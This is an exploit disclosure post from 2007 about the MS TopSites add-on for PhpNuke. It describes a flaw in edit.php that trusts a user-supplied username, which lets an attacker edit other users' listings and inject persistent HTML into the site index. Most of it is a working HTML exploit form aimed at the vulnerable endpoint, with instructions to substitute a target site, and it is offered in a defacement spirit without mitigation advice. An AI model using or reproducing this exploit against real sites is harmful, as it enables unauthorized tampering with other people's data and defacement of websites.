PhpNuke (add-on) MS TopSites Edit Exploit And Html Injection Nov 06 2007 08:05PM
Guns 0x90 com ar

- Author : 0x90


- Homepage: WwW.0x90.CoM.Ar


- Contact : Guns[at]0x90[dot]com[dot]ar


- Product : Php Nuke add-on MS TopSites


- Website : http://phpnuke.org/


- Download: http://www.weblord.it/downloads/nuke65/addons/MS_TopSites_ITA.zip


- Problem : Edit Exploit And Html Injection


- Summary: The var $uname in the sql_query in edit.php is not bugged but it's simply taked with $_POST['uname'],

let us change our "user", and modify as another one what we want.

Sometimes we can do either permanent html injections in "title" that appears in index. In these cases we

are able to change the index content of the site. :D-



Html Exploit:

<!-- You have to edit the [Site] with the target site. In particular circumstaces you have to edit some input.-->

<!-- You Must Not Have an userid and be logged in. Just execute This =) -->

<html><title>PhpNuke (add-on) MS TopSites Edit Exploit And Html Injection</title>

<body bgcolor="black" text="white">

<form action="http://localhost:81/modules.php?name=MS_TopSites&file=edit " method="post">

<input size="92" type="text" value='' name="sname"> SiteNameTitle [sname] (not Target it must be changed in the source) <br />

<input size="92" type="text" value="" name="uname"> Username [uname] <br />

<input size="92" type="text" value=" http://www.0x90.com.ar" name="url"> Url<br />

<input size="92" type="text" value="mail (at) url (dot) com [email concealed]" name="email"> Email<br />

<input size="92" type="text" value='' name="bottonurl"> BottonUrl<br />

<input size="92" type="text" value="Art" name="cat"> Cat <br />

<input size="92" type="text" value="Wedonotneeddescriptions" name="description"> Descriptions<br />

<input type="hidden" value="MSTopSitesSaveSite" name="op"><br />

<input type="submit" value="submit"><br />



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